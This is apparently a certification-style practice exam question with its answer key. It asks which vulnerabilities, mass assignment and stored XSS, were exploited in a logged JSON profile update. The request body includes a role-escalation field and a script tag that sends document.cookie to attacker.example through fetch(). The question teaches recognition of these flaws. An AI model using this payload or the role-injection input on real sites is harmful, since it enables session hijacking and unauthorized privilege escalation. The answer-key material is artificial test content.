Examkin

Question

Difficulty: Very hardApplication and Software Vulnerabilities

A software security analyst is reviewing a web application's API logs and controller implementation following a reported security incident. The backend service processes JSON payloads for user profile updates. An audit log captured the following HTTP POST request body submitted by an authenticated non-administrative user:

{
"account_id": "8492",
"email": "[email protected]",
"role": "administrator",
"bio": "<script>fetch('http://attacker.example/collect?c='+document.cookie)</script>"
}

Upon processing this request, the backend database successfully updated the user's account role to 'administrator' and subsequently rendered the script payload when other users viewed the updated profile page.

Which of the following software vulnerabilities were successfully exploited in this incident? (Select TWO.)

  1. Mass assignment, which allowed client-supplied JSON properties to automatically bind to internal data model fields without proper field-level filtering.Answer
  2. B
    SQL injection (SQLi), which allowed malicious SQL statements to alter database query logic and modify table structures.
  3. Stored cross-site scripting (XSS), which allowed an injected script to be persisted in the database and executed in victim web browsers.Answer
  4. D
    Broken authentication, which enabled the user to forge identity credentials and bypass the login portal.

Answer

The correct answers are Mass assignment and Stored cross-site scripting (XSS).
The scenario illustrates two distinct application vulnerabilities. First, the application accepted and bound the 'role' JSON attribute directly into the backend domain model without filtering, exposing a mass assignment vulnerability that enabled privilege escalation. Second, the application saved the un-sanitized JavaScript payload in the database and served it to other users, resulting in stored cross-site scripting (XSS).

Step-by-Step Solution

1
Analyze the request payload for authorization and data-binding flaws.
Identified that the payload included a 'role' key set to 'administrator' which modified internal model properties.
When software frameworks automatically map request parameters to object fields without a explicit field whitelist (DTO), callers can modify restricted attributes like user roles via mass assignment.
2
Analyze the request payload for input validation flaws.
Identified an inline JavaScript fetch script enclosed in <script> tags within the 'bio' parameter.
Submitting un-sanitized code that is saved to a persistent datastore and rendered to other users leads to stored cross-site scripting (XSS).
3
Distinguish between client-side script injection and server-side database injection.
Determined that the payload targets browser execution environment (XSS) rather than database engine syntax (SQLi).
XSS payloads execute in victim web browsers to steal cookies or session tokens, whereas SQL injection targets database query parsers.

Key Concept

Mass assignment (over-posting) and stored cross-site scripting (XSS)
Estimated Time:2m 0s
Rate this question

Topics

Application and Software Vulnerabilities

More questions from this topic